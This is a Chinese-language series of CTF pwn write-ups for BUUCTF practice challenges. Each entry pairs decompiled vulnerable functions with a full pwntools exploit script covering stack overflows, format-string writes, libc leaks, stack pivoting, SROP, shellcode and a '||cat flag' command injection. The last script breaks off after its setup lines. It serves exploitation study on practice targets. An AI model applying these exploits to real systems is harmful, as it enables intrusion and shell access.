int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}

可以看到这里需要接收比10小的数字,然后该数字会成为后面接收的字符数量

直接传负数就可以绕过

然后就是正常溢出了

溢出字符为24位

直接到backdoor函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./bjdctf_2020_babystack2"
# io = process(pwnfile)
elf = ELF(pwnfile)
shell = 0x40072A

host = "node4.buuoj.cn"
port = 25194
io = remote(host, port)

io.sendline("-1")


payload = 'a' * 24 + p64(shell)
# gdb.attach(io, "b *0x400821")
# pause()
io.sendline(payload)

io.interactive()

jarvisoj_fm

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞在主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 80u);
printf(buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}

好像是格式化字符串写入漏洞

先找到x的地址0x0804A02C

数出来在栈的十一位然后把要修改的地址写入直接覆盖就好

因为是32位默认4字节所以不用去修改写入的数量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux')

pwnfile = "./fm"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 29137
io = remote(host, port)

x = 0x0804A02C

payload = p32(x) + "%11$n"

# gdb.attach(io, "b *0x80485ad")
# pause()

io.sendline(payload)

io.interactive()

ciscn_2019_es_2

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

vul函数正好溢出可控4字节

直接跳到hack函数就好,本来以为这样就好了..

结果后来仔细一看system是用来打印flag字符的..

这题是栈迁移

简单说就是在第一次溢出的时候泄露栈的大致地址

可以用算偏移的方式算出ebp,然后再第二次输入的时候输入构造好的payload和/bin/sh

通过跳转到leave修改栈getshell

下次写文章仔细学吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(log_level='debug', arch='i386', os='linux')

pwnfile = "./ciscn_2019_es_2"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 29975
io = remote(host, port)

system = 0x08048400
leave_ret = 0x080484b8

payload = 'a'*0x26 + "bb"
# gdb.attach(io, "b *0x80485cd")
# pause()

io.send(payload)
io.recvuntil("aabb")

ebp = u32(io.recv(4))

print(hex(ebp))


payload = 'a'*4 + p32(system) + 'b'*4 + p32(ebp-0x28) + "/bin/sh\x00"
payload = payload.ljust(0x28, '\x00')
payload += p32(ebp-0x38) + p32(leave_ret)
io.sendline(payload)

io.interactive()

pwn2_sctf_2016

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞点在vuln函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int vuln()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
int v2; // [esp+3Ch] [ebp-Ch]

printf("How many bytes do you want me to read? ");
get_n((int)nptr, 4u);
v2 = atoi(nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n((int)nptr, v2);
return printf("You said: %s\n", nptr);
}

和bjdctf_2020_babystack2类似输入-1绕过

溢出的字符数量为48

题目还给出了do_thing函数

1
2
3
4
void do_thing()
{
__asm { int 80h; LINUX - }
}

应该是题目给出的gadget这样就可以直接中断调用execve函数了

结果ROPgadget看了一下找不到控制eax的payload只能用泄露libc的方式来打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./pwn2_sctf_2016"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 26672
io = remote(host, port)

printf_got = elf.got['printf']
printf = 0x08048370
vuln = 0x0804852F

io.sendline("-1")

payload = 'a' * 48 + p32(printf) + p32(vuln) + p32(printf_got)
# gdb.attach(io, "b *0x08048522")
# pause()

io.sendline(payload)

io.recvuntil('\x0a')
io.recvuntil('\x0a')
printf_address = u32(io.recv()[0:4])
print(hex(printf_address))
libc = LibcSearcher('printf', printf_address)
base = printf_address - libc.dump('printf')
print(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')
io.sendline("-1")
payload = 'a' * 48 + p32(system) + p32(vuln) + p32(bin_sh)
io.sendline(payload)

io.interactive()

jarvisoj_tell_me_something

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

溢出的字符为136

直接溢出到good_game打印flag就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./guestbook"
# io = process(pwnfile)


host = "node4.buuoj.cn"
port = 25652
io = remote(host, port)

good_game = 0x0400620
payload = 'a' * 136 + p64(good_game)
# gdb.attach(io, "b *0x40051e")
# pause()
io.sendline(payload)
io.interactive()

[HarekazeCTF2019]baby_rop2

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

溢出字符数为40

就是找ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./babyrop2"
libcfile = "./libc.so.6"
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF(libcfile)

main = 0x400636
printf = 0x4004F0
format_address = 0x400770
printf_got = elf.got["printf"]
read_got = elf.got["read"]

host = "node4.buuoj.cn"
port = 26168
io = remote(host, port)

pop_rdi_ret = 0x400733
ret = 0x4006CB
pop_rsi_r15_ret = 0x400731

payload = 'a' * 40 + p64(pop_rdi_ret) + p64(format_address) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0) + p64(printf) + p64(main)

local_payload = 'a' * 40 + p64(ret) + p64(pop_rdi_ret) + p64(printf_got) + p64(printf) + p64(main)

# gdb.attach(io, "b *0x4006c5")
# pause()
io.sendline(payload)

io.recvuntil('\x6e\x2c\x20')
io.recvuntil('\x6e\x2c\x20')

read_address = u64(io.recv(6).ljust(8, '\x00'))

print(hex(read_address))
libc = LibcSearcher("read", read_address)
base = read_address - libc.dump("read")
print(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')

local_payload = 'a' * 40 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(main)

payload = 'a' * 40 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(main)
io.sendline(payload)

io.interactive()

很坑..

local_payload本地可以打通远程就不可以了

看了些wp发现还要读read的地址

不知道为什么别的就不可以了本地是可以的

然后flag在/home/babyrop2/

jarvisoj_level3

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

又是溢出找ROP链

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

write(1, "Input:\n", 7u);
return read(0, buf, 0x100u);
}

常规的泄露libc然后直接打就好

溢出字符数为140

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./level3"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 28988
io = remote(host, port)

write_got = elf.got["write"]
write = 0x08048340
vuln = 0x0804844B

payload = 'a' * 140 + p32(write) + p32(vuln) + p32(1) + p32(write_got) + p32(0x8)
# gdb.attach(io, "b *0x8048481")
# pause()

io.sendline(payload)

io.recvuntil("Input:\x0a")
write_address = u32(io.recv()[0:4])
print(hex(write_address))
libc = LibcSearcher("write", write_address)
base = write_address - libc.dump("write")
print(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')
payload = 'a' * 140 + p32(system) + p32(vuln) + p32(bin_sh)
io.sendline(payload)

io.interactive()

ciscn_2019_s_3

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞在vuln函数

1
2
3
4
5
6
7
8
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}

还是构建ROP

不过题目中还有gadgets函数

看了一下是mov rax, 0Fh

基本就是直接用系统调用了

系统调用号15是sigreturn需要用到SROP

详细可以看

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/

说简单点就是可以把栈里的地址直接覆盖到寄存器

直接用pwntools自带的写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./ciscn_s_3"
io = process(pwnfile)
elf = ELF(pwnfile)


host = "node4.buuoj.cn"
port = 28318
io = remote(host, port)

gadgets = 0x4004DA
syscall = 0x400517
vuln = 0x4004ED



payload = "/bin/sh\x00" + 'a' * 8 + p64(vuln)
# gdb.attach(io, "b *0x40050a")
# pause()
io.sendline(payload)
stack = u64(io.recv()[0x20:0x28])

bin_sh = stack-0x118

sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = bin_sh
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = stack
sigframe.rip = syscall

payload = "/bin/sh\x00" + 'a' * 8 + p64(gadgets) + p64(syscall) + str(sigframe)
io.sendline(payload)
io.interactive()

babyheap_0ctf_2017

堆先放放

ez_pz_hackover_2016

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

保护这样子应该是要在栈里面写shellcode了

看看chall函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int chall()
{
size_t v0; // eax
int result; // eax
char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
_BYTE *v3; // [esp+40Ch] [ebp-Ch]

printf("Yippie, lets crash: %p\n", s);
printf("Whats your name?\n");
printf("> ");
fgets(s, 1023, stdin);
v0 = strlen(s);
v3 = memchr(s, 10, v0);
if ( v3 )
*v3 = 0;
printf("\nWelcome %s!\n", s);
result = strcmp(s, "crashme");
if ( !result )
result = vuln((char)s, 0x400u);
return result;
}

溢出点在vuln函数的memcpy里面

要先绕过crashme在后面写payload

前面会输出一个地址,用输出的地址算出栈的地址然后写payload跳过去就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./ez_pz_hackover_2016"
# io = process(pwnfile)
host = "node4.buuoj.cn"
port = 29039
io = remote(host, port)


#shellcraft.i386.linux.sh()

io.recvuntil("Yippie, lets crash: ")
address = io.recv(10)
shellcode_address = int(address, 16) + 27

#gdb.attach(io)
#pause()
payload = flat(["crashme" + '\x00' + 'a' * 18 + p32(shellcode_address-0x37) + "\x90\x90"]) + asm(shellcraft.i386.linux.sh())
io.sendline(payload)

io.interactive()

picoctf_2018_rop chain

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞点vuln函数

1
2
3
4
5
6
7
char *vuln()
{
char s[24]; // [esp+0h] [ebp-18h] BYREF

printf("Enter your input> ");
return gets(s);
}

看了一下题目里面还有很多函数不知道作用..

就直接打最普通的泄露libc吧

泄露字符数为28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./PicoCTF_2018_rop_chain"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 26778
io = remote(host, port)
vuln = 0x08048714

getegid_got = elf.got["getegid"]
printf = 0x08048460
payload = 'a' * 28 + p32(printf) + p32(vuln) + p32(getegid_got)
io.sendline(payload)
io.recvuntil("Enter your input> ")
getegid_address = u32(io.recv()[0:4])
log.success(hex(getegid_address))
libc = LibcSearcher("getegid", getegid_address)
base = getegid_address - libc.dump("getegid")
log.success(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')
payload = 'a' * 28 + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)

io.interactive()

jarvisoj_level3_x64

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

和32位的除了调用约定别的基本一样

溢出字符数为136

因为write需要三个参数所以可以用ret2csu

不过dbg看一下会发现rdx可以服用,只需要控制rdi和rsi就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./level3_x64"
elf = ELF(pwnfile)
# io = process(pwnfile)
pop_rdi_ret = 0x04006b3
pop_rsi_r15_ret = 0x4006b1
write = 0x4004B0
write_got = elf.got["write"]
vulnerable = 0x4005E6

host = "node4.buuoj.cn"
port = 26808
io = remote(host, port)

payload = 'a' * 136 + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write) + p64(vulnerable)
# gdb.attach(io, "b *0x400619")
# pause()
io.sendline(payload)
io.recvuntil("Input:\x0a")
write_address = u64(io.recv(6).ljust(8, '\x00'))
log.success(hex(write_address))
libc = LibcSearcher('write', write_address)
base = write_address - libc.dump('write')
log.success(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')
payload = 'a' * 136 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(vulnerable)
io.sendline(payload)
io.interactive()

jarvisoj_level4

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

和level3区别就是少了次write

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

return read(0, buf, 256u);
}

泄露read的地址就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./level4"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 28979
io = remote(host, port)

read_got = elf.got["read"]
write = 0x08048340
vuln = 0x0804844B

payload = 'a' * 140 + p32(write) + p32(vuln) + p32(1) + p32(read_got) + p32(0x8)
# gdb.attach(io, "b *0x8048481")
# pause()

io.sendline(payload)

read_address = u32(io.recv()[0:4])
print(hex(read_address))
libc = LibcSearcher("read", read_address)
base = read_address - libc.dump("read")
print(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')
payload = 'a' * 140 + p32(system) + p32(vuln) + p32(bin_sh)
io.sendline(payload)

io.interactive()

wustctf2020_getshell

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

直接溢出到shell函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./wustctf2020_getshell"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 26543
io = remote(host, port)
shell = 0x0804851B

payload = 'a' * 28 + p32(shell)
# gdb.attach(io)
# pause()
io.sendline(payload)


io.interactive()

bjdctf_2020_babyrop2

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

这题开了Canary

看看伪代码有vuln函数和gift函数

gift函数有格式化字符串漏洞

这就很清楚了gift泄露Canary然后再栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./bjdctf_2020_babyrop2"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 28675
io = remote(host, port)

pop_rdi_ret = 0x400993

main = 0x4008DA
puts = 0x400610
puts_got = elf.got["puts"]

payload = "%7$p"
# gdb.attach(io)
# pause()
io.sendline(payload)
io.recvuntil("I'll give u some gift to help u!\x0a")
canary = int(io.recv()[2:18], 16)
log.success("canary: " + hex(canary))

payload = 'a' * 24 + p64(canary) +p64(0) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts) + p64(main)

# gdb.attach(io, "b *0x4008c4")
# pause()

io.sendline(payload)

puts_got_address = u64(io.recv(6).ljust(8, '\x00'))
print(hex(puts_got_address))
libc = LibcSearcher('puts', puts_got_address)
base = puts_got_address - libc.dump('puts')
print(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')
payload = "%7$p"
io.sendline(payload)
io.recvuntil("I'll give u some gift to help u!\x0a")
canary = int(io.recv()[2:18], 16)
log.success("canary: " + hex(canary))
payload = 'a' * 24 + p64(canary) +p64(0) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(main)
io.sendline(payload)


io.interactive()

[Black Watch 入群题]PWN

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞点在vul_function函数

1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF

v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}

先是一次读200字节到bss段

然后下面read在溢出

看静态可以知道溢出的字符数为24,这样可控的只有8字节了

是构造不了ROP的

本来想把shellcode写入bss段然后跳过去执行shellcode

结果发现bss不可执行

看了下wp发现还是需要栈迁移

简单说就是需要把栈布置到bss段然后用leave把可写bss开头修改为栈顶

以前的ebp都是无用的可以直接覆盖掉所以要24+4

这次需要栈迁移ebp需要布置所以溢出字符数为24

挺有意思的一道题就是有点不好调

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./spwn"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 28489
io = remote(host, port)

bss = 0x0804A300
leave = 0x08048511
main = 0x08048513


write_got = elf.got["write"]
write = 0x08048380

payload = p32(0) + p32(write) + p32(main)+ p32(1) + p32(write_got) + p32(0x8)
io.recvuntil("name?")
io.send(payload)


payload = 'a' * 24 + p32(bss) + p32(leave)
# gdb.attach(io, "b *0x80484d3")
# pause()
io.recvuntil("say?")
io.send(payload)

write_address = u32(io.recv()[0:4])
log.success(hex(write_address))
libc = LibcSearcher("write", write_address)
base = write_address - libc.dump("write")
log.success(hex(base))
bin_sh = base + libc.dump('str_bin_sh')
system = base + libc.dump('system')



payload = p32(0) + p32(system) + p32(main) + p32(bin_sh)
io.send(payload)

payload = 'a' * 24 + p32(bss) + p32(leave)
io.send(payload)

io.interactive()

pwnable_orw

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

对比前面来说是新题型

意思就是不可以执行命令需要用read读flag然后write打印出来这样

看保护应该是需要写shellcode的

漏洞在主函数

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}

写的很直白直接写shellcode了

这题是32位的,不过要用到中断所以调用约定是

ebx,ecx,edx,esi,edi,ebp

直接压到栈里是不会调用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./orw"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 29461
io = remote(host, port)

data = 0x0804A020

io.recvuntil("Give my your shellcode:")


open_asm = '''
mov eax,5;
push 0x00000067;
push 0x616c662f;
xor ecx,ecx;
xor edx,edx;
mov ebx,esp;
int 0x80;
'''

read_asm = '''
mov ebx,eax;
mov eax,3;
mov ecx,0x0804A020;
mov edx,0x50
int 0x80
'''

write_asm = '''
mov eax,4;
mov ebx,1;
mov ecx,0x0804A020;
mov edx,0x50;
int 0x80
'''

payload = asm(open_asm) + asm(read_asm) + asm(write_asm)
io.sendline(payload)

io.interactive()

bjdctf_2020_router

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

这题..可以直接当web题打

选择1然后输入

1
||cat flag

要写exp应该就是下面这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

pwnfile = "./bjdctf_2020_router"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 27129
io = remote(host, port)

io.sendline("1")
io.sendline("||cat flag")



io.interactive()

[ZJCTF 2019]EasyHeap

mrctf2020_shellcode

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

这题F5伪代码出不来

直接看汇编基本就是写到栈然后去执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context(log_level = "debug", arch = "amd64", os = "linux")

pwnfile = "./mrctf2020_shellcode"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 27965
io = remote(host, port)


payload = asm(shellcraft.sh())
io.sendline(payload)

io.interactive()

picoctf_2018_buffer overflow 1

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

看了下漏洞函数好像是题目泄露栈地址后跳到shellcode执行

1
2
3
4
5
6
7
8
9
int vuln()
{
int v0; // eax
char s[40]; // [esp+0h] [ebp-28h] BYREF

gets(s);
v0 = get_return_address();
return printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", v0);
}

结果还有win函数..直接溢出然后跳到win就可以了..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./PicoCTF_2018_buffer_overflow_1"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 25803
io = remote(host, port)

win = 0x080485CB

payload = 'a' * 44 + p32(win)

io.sendline(payload)
io.interactive()

hitcontraining_uaf

堆题

inndy_rop

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞函数overflow

1
2
3
4
5
6
int overflow()
{
char v1[12]; // [esp+Ch] [ebp-Ch] BYREF

return gets(v1);
}

静态文件

直接找rop就可以了

结果不是很好找,直接用sh不可以

看了下网上的wp基本都是用ROPgadget的ropchain构造的链子

读了生成的链子还挺有意思的

就是有些地方写的可能复杂了,就重写了一下

基本的意思是先把data段的地址存到edx,然后把/bin字符串存到eax,用mov把eax的值存到edx指向的地址也就是data段,相同的/sh\x00也写到eax然后存到data+0x4的位置

写入了/bin/sh然后知道了地址就可以直接用系统调用getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./rop"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 28179
io = remote(host, port)

int_80 = 0x0806c943
ebx_edx_ret = 0x0806ecd9
eax_ret = 0x080b8016
ecx_ret = 0x080de769
edx_ret = 0x0806ecda
edx_eax_mov = 0x0805466b

data = 0x080EA060

payload = 'a' * 16 + p32(edx_ret) + p32(data) + p32(eax_ret) + "/bin" + p32(edx_eax_mov) + p32(edx_ret) + p32(data+0x4) + p32(eax_ret) + "/sh\x00" + p32(edx_eax_mov) + p32(eax_ret) + p32(0xb) + p32(ebx_edx_ret) + p32(data) + p32(0) + p32(ecx_ret) + p32(0) + p32(int_80)
# gdb.attach(io)
# pause()
io.sendline(payload)
io.interactive()

jarvisoj_test_your_memory

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

这题直接溢出后调用system然后用题目给出的cat flag字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./memory"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 27101
io = remote(host, port)

system = 0x08048440
aCatFlag = 0x080487E0

payload = 'a' * 23 + p32(system) + p32(system) + p32(aCatFlag)
# gdb.attach(io)
# pause()
io.sendline(payload)
io.interactive()

picoctf_2018_buffer overflow 2

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

这题和picoctf_2018_buffer overflow 1基本一样,就是在win函数中多了判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
char *__cdecl win(int a1, int a2)
{
char *result; // eax
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
result = fgets(s, 64, stream);
if ( a1 == 0xDEADBEEF && a2 == 0xDEADC0DE )
result = (char *)printf(s);
return result;
}

a1和a2要等于对应的字符串

直接改exp就好

注意溢出的字符数是不一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./PicoCTF_2018_buffer_overflow_2"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 25588
io = remote(host, port)

win = 0x080485CB
a1 = 0xDEADBEEF
a2 = 0xDEADC0DE
payload = 'a' * 112 + p32(win) + p32(win) + p32(a1) + p32(a2)
# gdb.attach(io)
# pause()
io.sendline(payload)
io.interactive()

cmcc_simplerop

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

和inndy_rop类似

问题就是这题有长度限制

/bin/sh字符串的写和上面相同

接下来就是找ROP找到就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

pwnfile = "./simplerop"
# io = process(pwnfile)
elf = ELF(pwnfile)
host = "node4.buuoj.cn"
port = 29954
io = remote(host, port)
